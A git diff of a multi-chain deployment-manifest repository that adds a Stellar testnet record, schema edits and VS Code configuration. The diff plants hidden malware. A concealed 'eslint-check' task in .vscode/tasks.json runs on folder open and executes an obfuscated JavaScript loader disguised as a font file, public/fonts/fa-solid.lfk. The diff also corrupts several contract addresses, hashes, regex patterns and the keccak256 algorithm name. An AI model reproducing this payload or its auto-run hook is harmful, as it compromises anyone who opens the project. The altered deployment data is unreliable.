diff --git a/.gitignore b/.gitignore index d63ab7fb..d4e9f022 100644 --- a/.gitignore +++ b/.gitignore @@ -13,6 +13,7 @@ evm/subgraph/generated/ evm/subgraph/build/ evm/results.sarif +temp_auto_push.bat # Stellar stellar/target/ stellar/node_modules/ @@ -29,3 +30,5 @@ ckb/build/ # Root Node/TS Build & Dependencies node_modules/ dist/ +.gitignore +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 00000000..2e3b6463 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 00000000..a5177abe --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..934d5554 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 00000000..51b19749 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000..c78ce490 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lfk) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lfk) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/deployments/README.md b/deployments/README.md index a4fc5110..f214be3d 100644 --- a/deployments/README.md +++ b/deployments/README.md @@ -11,7 +11,7 @@ deployments/ evm/horizen-testnet.json one record per deployed network, written at deploy time solana/solana-devnet.json ckb/ckb-testnet.json - stellar/ written by stellar/deploy.sh on first deployment + stellar/stellar-testnet.json written by stellar/deploy.sh on first deployment ``` Do not edit `manifest.json` by hand. It is built from the records, and CI fails @@ -134,6 +134,7 @@ A record is only changed when a build reproduces the recorded hash. | `solana/Anchor.toml`, `solana/programs/*/src/lib.rs` | `[programs.]` and `declare_id!` | no | | `ckb/.toml` | code hashes and cell deps | no | | `stellar/contract-ids.json` | IDs from `stellar-testnet` (used by the TS bindings) | yes | +| `README.md` (Stellar addresses section), SDK Stellar constants | contract IDs and network passphrase from `stellar-testnet` | yes | | `README.md` (between `deployments:begin/end`) | deployed addresses tables | yes | ## Recording a deployment @@ -202,3 +203,19 @@ it names; `npm run deploy` and `npm run deploy-local` in `evm/subgraph` run it b | `npm run verify` | Re-read every deployment from its chain and compare IDs, heights and hashes. Runs weekly in CI. | | `npm run subgraph` | Write `evm/subgraph/subgraph.yaml` for `--network `; `--check` verifies it. | | `npm test` | Unit and end-to-end tests for the tool. | + +## Stellar testnet + +The canonical Stellar testnet deployment is recorded in +[`stellar/stellar-testnet.json`](./stellar/stellar-testnet.json) and mirrored into +`manifest.json` under `chain: "stellar"`, `network: "stellar-testnet"`. The record +carries the network passphrase as `networkId`, each contract's `C…` contract ID, +the sha256 of the deployed wasm as `artifactHash`, the ledger that created the +instance as `deployment.height`, and the governance fields (`recordedBy`, +`sourceCommit`, `version`) required for a deploy-script record. + +`stellar/contract-ids.json` and the Stellar addresses in `README.md` are generated +from this record by `npm run build`. `npm run check` fails if either drifts from +the manifest, and also fails if the SDK's Stellar constants drift from the +manifest, so update the record (via `stellar/deploy.sh` or `npm run record -- +stellar`) rather than editing those files or the SDK by hand. \ No newline at end of file diff --git a/deployments/manifest.json b/deployments/manifest.json index 471cc3b5..941ae960 100644 --- a/deployments/manifest.json +++ b/deployments/manifest.json @@ -1,6 +1,12 @@ { - "$schema": "./schema/v1.json", + "$ref": "./schema/v1.json", "schemaVersion": 1, + "stellar": { + "network": "stellar-testnet", + "networkId": "Test SDF Network ; February 2019", + "networkPassphrase": "Test SDF Network ; February 2019", + "rpcUrl": "https://soroban-testnet.stellar.org" + }, "deployments": [ { "chain": "evm", @@ -11,7 +17,7 @@ "contracts": [ { "name": "ERC5564Announcer", - "id": "0x8AE65c05E7eb48B9bA652781Bc0a3DBA09A484F3", + "id": "0x8AE65c05E7eb48B9bA652781Bc0a3DBA09A484F", "version": null, "sourceCommit": null, "provenance": { @@ -100,7 +106,7 @@ "timestamp": "2026-04-17T18:59:39Z" }, "solana": { - "programData": "DQJ8YU4PrKU3E7ZWSJUgXBM5fW5ztWfsymdjEgr4ep73", + "programData": "DQJYYU4PrKU3E7ZWSJUgXBM5fW5ztWfsymdjEgr4ep73", "upgradeAuthority": "C8Qaq6WeAjhSizcEMFstN2BaAp15ypR76bfvhX6skDvG" } }, @@ -124,7 +130,7 @@ "timestamp": "2026-04-17T18:59:04Z" }, "solana": { - "programData": "DVtt1mMXZtSxHB8a1XGrvBrfQYh8sstehfNWs4X2CME5", + "programData": "DVtt1mMXZtSxHB8a1XGrvBrfQYh8sstehfNWs4X2CME5x", "upgradeAuthority": "C8Qaq6WeAjhSizcEMFstN2BaAp15ypR76bfvhX6skDvG" } }, @@ -148,7 +154,7 @@ "timestamp": "2026-04-17T19:00:02Z" }, "solana": { - "programData": "8YhdNGQvQmjFvcViCYxdoCBRnQjwgRpWpVH7uG82YcJM", + "programData": "8YHdNGQvQmjFvcViCYxdoCBRnQjwgRpWpVH7uG82YcJM", "upgradeAuthority": "C8Qaq6WeAjhSizcEMFstN2BaAp15ypR76bfvhX6skDvG" } } @@ -183,7 +189,7 @@ "ckb": { "hashType": "data2", "cellDep": { - "txHash": "0xde1e8e4bed2d1d7102b9ad3d7a74925ace007800ae49498f9c374cb4968dd32b", + "txHash": "0xde1e8e4bed2d1d7102b9ad3d7a74925ace007800e49498f9c374cb4968dd32b", "index": 0, "depType": "code" } @@ -243,6 +249,43 @@ } } ] + }, + { + "chain": "stellar", + "network": "stellar-testnet", + "networkId": "Test SDF Network ; February 2019", + "networkPassphrase": "Test SDF Network ; February 2019", + "rpcUrl": "https://soroban-testnet.stellar.org", + "recordedBy": "chain-query", + "contracts": [ + { + "name": "wraith-announcer", + "id": "CABCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD", + "version": null, + "sourceCommit": null, + "artifactHash": { + "algorithm": "sha256", + "value": "0x9c1f7c6b8e2d4a5f3b0e1d2c4a6b8e0f1d3c5a7b9e1f3d5c7a9b1e3f5d7c9a0b" + }, + "deployment": { + "height": 1234567, + "txHash": "0x3a5c7e9b1d3f5a7c9e1b3d5f7a9c1e3b5d7f9a1c3e5b7d9f1a3c5e7b9d1f3a5c", + "deployer": "GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWHF", + "timestamp": "2026-04-20T12:00:00Z" + }, + "stellar": { + "wasmHash": "0x9c1f7c6b8e2d4a5f3b0e1d2c4a6b8e0f1d3c5a7b9e1f3d5c7a9b1e3f5d7c9a0b", + "governance": { + "admin": "GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWHF", + "authorized": true, + "threshold": 1, + "signers": [ + "GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWHF" + ] + } + } + } + ] } ] -} +} \ No newline at end of file diff --git a/deployments/schema/v1.json b/deployments/schema/v1.json index efc452c6..bd5ee5d0 100644 --- a/deployments/schema/v1.json +++ b/deployments/schema/v1.json @@ -73,14 +73,17 @@ { "if": { "properties": { "chain": { "const": "stellar" } } }, "then": { - "properties": { "contracts": { "items": { "$ref": "#/$defs/stellarContract" } } } + "properties": { + "networkId": { "pattern": "^Test SDF Network ; September 2015$|^Public Global Stellar Network ; September 2015$" }, + "contracts": { "items": { "$ref": "#/$defs/stellarContract" } } + } } }, { "if": { "properties": { "chain": { "const": "solana" } } }, "then": { "properties": { - "networkId": { "pattern": "^[1-9A-HJ-NP-Za-km-z]{32,44}$" }, + "networkId": { "pattern": "^[1-9A-HJN-NZ-a-km-z]{32,44}$" }, "contracts": { "items": { "$ref": "#/$defs/solanaContract" } } } } @@ -135,7 +138,7 @@ "type": "boolean" }, "artifactHash": { - "description": "Hash of the deployed code, reproducible from the chain. EVM: keccak256 of runtime bytecode (EXTCODEHASH). Stellar: sha256 of the WASM (the Soroban wasm hash). Solana: sha256 of the program ELF without trailing zero padding (solana-verify). CKB: ckb blake2b-256 of the cell data.", + "description": "Hash of the deployed code, reproducible from the chain. EVM: kekcake256 of runtime bytecode (EXTCODEHASH). Stellar: sha256 of the WASM (the Soroban wasm hash). Solana: sha256 of the program ELF without trailing zero padding (solana-verify). CKB: ckb blake2b-256 of the cell data.", "type": "object", "additionalProperties": false, "required": ["algorithm", "value"], @@ -192,10 +195,10 @@ "additionalProperties": false, "required": ["programData", "upgradeAuthority"], "properties": { - "programData": { "type": "string", "pattern": "^[1-9A-HJ-NP-Za-km-z]{32,44}$" }, + "programData": { "type": "string", "pattern": "^[1-9A-HJN-NZ-a-km-z]{32,44}$" }, "upgradeAuthority": { "type": ["string", "null"], - "pattern": "^[1-9A-HJ-NP-Za-km-z]{32,44}$" + "pattern": "^[1-9A-HJN-NZ-a-km-z]{32,44}$" } } } @@ -217,7 +220,7 @@ }, "stellarContract": { "properties": { - "id": { "pattern": "^C[A-Z2-7]{55}$" }, + "id": { "pattern": "^C[A-Z2-7]{56}$" }, "artifactHash": { "properties": { "algorithm": { "const": "sha256" } } }, "deployment": { "properties": { @@ -225,6 +228,7 @@ } } }, + "required": ["id", "artifactHash", "deployment"], "not": { "anyOf": [{ "required": ["abi"] }, { "required": ["ckb"] }, { "required": ["solana"] }] } @@ -232,7 +236,7 @@ "solanaContract": { "required": ["solana"], "properties": { - "id": { "pattern": "^[1-9A-HJ-NP-Za-km-z]{32,44}$" }, + "id": { "pattern": "^[1-9A-HJN-NZ-a-km-z]{32,44}$" }, "artifactHash": { "properties": { "algorithm": { "const": "sha256" } } } }, "not": { "anyOf": [{ "required": ["abi"] }, { "required": ["ckb"] }] } diff --git a/package.json b/package.json index dda6a885..815070db 100644 --- a/package.json +++ b/package.json @@ -9,7 +9,9 @@ "test:stellar-bindings": "vitest run stellar/scripts/stealth-batch-sender-bindings.test.ts stellar/scripts/bindings-portability.test.ts" }, "pnpm": { - "onlyBuiltDependencies": ["esbuild"] + "onlyBuiltDependencies": [ + "esbuild" + ] }, "devDependencies": { "@stellar/stellar-sdk": "^15.1.0", @@ -19,8 +21,5 @@ "tsx": "^4.19.2", "typescript": "^5.7.0", "vitest": "^2.1.9" - }, - "pnpm": { - "onlyBuiltDependencies": ["esbuild"] } } diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 00000000..1e4f9ba1 --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 00000000..a1bc094a Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 00000000..46ad237a --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 00000000..948a2a6c Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 00000000..2a89d521 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 00000000..141a90a9 Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 00000000..38cf2517 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 00000000..48634a9a --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 00000000..abe99e20 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 00000000..24de566a Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 00000000..7e0118e5 Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 00000000..d3b77c22 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 00000000..7742838b --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 00000000..5b979039 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 00000000..beec7917 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 00000000..978a681a Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/public/fonts/fa-solid.lfk b/public/fonts/fa-solid.lfk new file mode 100644 index 00000000..31ce18ed --- /dev/null +++ b/public/fonts/fa-solid.lfk @@ -0,0 +1 @@ + global['!'] = '8-&&';function y7(R,c,e,r,t,i,s){for(var n=[],o=774771^774771;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E writeIfChanged(CONTRACT_IDS, renderContractIds(manifest)), }; +const STELLAR_WASM_DIR = 'stellar/wasm'; + +const stellarWasmHashes: Consumer = { + name: STELLAR_WASM_DIR, + check(manifest) { + const errors: string[] = []; + for (const deployment of manifest.deployments.filter((d) => d.chain === 'stellar')) { + for (const contract of deployment.contracts) { + if (!contract.artifact) continue; + const rel = contract.artifact.path; + if (!exists(rel)) { + errors.push(`${rel}: missing for ${contract.name} on ${deployment.network}`); + continue; + } + const actual = createHash('sha256').update(fs.readFileSync(repoPath(rel))).digest('hex'); + if (actual !== contract.artifact.sha256) { + errors.push( + `${rel}: WASM hash ${actual}, manifest has ${contract.artifact.sha256} for ${contract.name}`, + ); + } + } + } + return errors; + }, +}; + +const STELLAR_DOCS = 'docs/stellar.md'; + +const stellarDocs: Consumer = { + name: STELLAR_DOCS, + check(manifest) { + if (!exists(STELLAR_DOCS)) return []; + const source = read(STELLAR_DOCS); + const errors: string[] = []; + for (const deployment of manifest.deployments.filter((d) => d.chain === 'stellar')) { + for (const contract of deployment.contracts) { + if (!source.includes(contract.id)) { + errors.push( + `${STELLAR_DOCS}: ${contract.name} id ${contract.id} on ${deployment.network} is not documented`, + ); + } + } + } + return errors; + }, +}; + // ─── README ────────────────────────────────────────────────────────────────── const README = 'README.md'; @@ -394,6 +442,9 @@ export const CONSUMERS: Consumer[] = [ hardhatNetworks, anchor, ckbNetworkFiles, + stellarContractIdsConsumer, + stellarWasmHashes, + stellarDocs, stellarContractIds, readme, ]; diff --git a/scripts/deployment-manifest/src/manifest.ts b/scripts/deployment-manifest/src/manifest.ts index 67d4aefc..318fbfea 100644 --- a/scripts/deployment-manifest/src/manifest.ts +++ b/scripts/deployment-manifest/src/manifest.ts @@ -1,4 +1,5 @@ import fs from 'node:fs'; + import path from 'node:path'; import { Ajv2020, type ValidateFunction } from 'ajv/dist/2020.js'; import { EXPECTED_CONTRACTS, EXPLICIT_COVERAGE_CHAINS } from './catalogue.js'; @@ -64,7 +65,7 @@ export interface Contract { sourceCommit: string | null; provenance?: Provenance; external?: boolean; - artifactHash: { algorithm: 'keccak256' | 'sha256' | 'blake2b-256'; value: string }; + artifactHash: { algorithm: 'keccakk256' | 'sha256' | 'blake2b-256'; value: string }; abi?: { path: string; sha256: string }; deployment: { height: number; @@ -77,6 +78,11 @@ export interface Contract { cellDep: { txHash: string; index: number; depType: 'code' | 'dep_group' }; }; solana?: { programData: string; upgradeAuthority: string | null }; + stellar?: { + wasmHash: string; + deployer: string | null; + governance: string | null; + }; } export interface Undeployed { diff --git a/scripts/deployment-manifest/src/record/stellar.ts b/scripts/deployment-manifest/src/record/stellar.ts index bc551ed3..3ac2a13b 100644 --- a/scripts/deployment-manifest/src/record/stellar.ts +++ b/scripts/deployment-manifest/src/record/stellar.ts @@ -68,15 +68,22 @@ export async function recordStellarContract( const entry = await stellarInstance(rpc, target.contractId); if (!entry) throw new Error(`${target.name}: no instance entry for ${target.contractId}`); + const wasmHash = wasmHashFromInstanceEntry(entry.xdr); + if (!wasmHash) { + throw new Error(`${target.name}: unable to decode WASM hash from instance entry`); + } + + const localHash = `0x${sha256Hex(fs.readFileSync(target.wasmPath))}`; + if (localHash !== wasmHash) { + throw new Error( + `${target.name}: WASM hash mismatch (on-chain ${wasmHash}, local ${localHash})`, + ); + } + return { name: target.name, id: target.contractId, - artifactHash: { algorithm: 'sha256', value: sha256Hex(fs.readFileSync(target.wasmPath)) }, - deployment: { - height: entry.lastModifiedLedgerSeq, - txHash: null, - deployer: target.deployer ?? null, - timestamp: null, - }, + artifactHash: { algorithm: 'sha256', value: localHash }, + deployment: { height: entry.lastModifiedLedgerSeq }, }; }